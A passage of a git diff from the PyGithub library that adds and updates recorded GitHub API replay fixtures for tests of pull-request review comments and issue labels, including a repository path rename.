PullRequests","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","author":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"},"committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"}},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146}} + +https +POST +api.github.com +None +/repos/PyGithub/PyGithub/pulls/31/comments +{'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +{"body": "Comment created by PyGithub", "commit_id": "8a4f306d4b223682dd19410d4a9150636ebe4206", "line": 5, "path": "src/github/Issue.py", "in_reply_to": 42} +201 +[('status', '201 Created'), ('x-ratelimit-remaining', '4953'), ('content-length', '937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ca841d45253326d61bee20c809872dc"'), ('date', 'Sun, 27 May 2012 09:40:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298')] +{"updated_at":"2012-05-27T09:40:12Z","line":5,"original_position":5,"body":"Comment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}}} diff --git a/tests/ReplayData/PullRequest.testCreateReviewCommentSubjectType.txt b/tests/ReplayData/PullRequest.testCreateReviewCommentSubjectType.txt new file mode 100644 index 0000000000..715478444a --- /dev/null +++ b/tests/ReplayData/PullRequest.testCreateReviewCommentSubjectType.txt @@ -0,0 +1,21 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '19468'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"54236e7f65246e5fdb1122bd461e4a5d"'), ('date', 'Fri, 01 Jun 2012 19:43:25 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","stats":{"additions":131,"total":135,"deletions":4},"files":[{"changes":17,"additions":14,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","deletions":3},{"changes":7,"additions":7,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","deletions":0},{"changes":26,"additions":25,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","deletions":1},{"changes":45,"additions":45,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,45 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","deletions":0},{"changes":35,"additions":35,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,35 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","deletions":0},{"changes":5,"additions":5,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,5 @@\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","deletions":0}],"parents":[{"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"tree":{"sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d"},"message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","author":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"},"committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"}},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146}} + +https +POST +api.github.com +None +/repos/PyGithub/PyGithub/pulls/31/comments +{'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +{"body": "Comment created by PyGithub", "commit_id": "8a4f306d4b223682dd19410d4a9150636ebe4206", "line": 5, "path": "src/github/Issue.py", "subject_type": "file"} +201 +[('status', '201 Created'), ('x-ratelimit-remaining', '4953'), ('content-length', '937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ca841d45253326d61bee20c809872dc"'), ('date', 'Sun, 27 May 2012 09:40:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298')] +{"updated_at":"2012-05-27T09:40:12Z","line":5,"original_position":5,"body":"Comment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}}} diff --git a/tests/ReplayData/PullRequest.testDeleteAndSetLabels.txt b/tests/ReplayData/PullRequest.testDeleteAndSetLabels.txt index cd1d98182c..d6994ed231 100644 --- a/tests/ReplayData/PullRequest.testDeleteAndSetLabels.txt +++ b/tests/ReplayData/PullRequest.testDeleteAndSetLabels.txt @@ -2,40 +2,40 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/labels/wip +/repos/PyGithub/PyGithub/labels/wip {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"569c414d87e8ec43ec269a9e28bc2982"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"color":"eb6420","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip"} +{"color":"eb6420","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip"} https GET api.github.com None -/repos/jacquev6/PyGithub/labels/refactoring +/repos/PyGithub/PyGithub/labels/refactoring {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '113'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b659c8dcc1212c71f826547c3cc7ae99"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"} +{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"} https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https DELETE api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 @@ -46,7 +46,7 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 @@ -57,21 +57,20 @@ https PUT api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ["wip", "refactoring"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '213'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a56634d9c1050a88592ff55ed8adc62"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 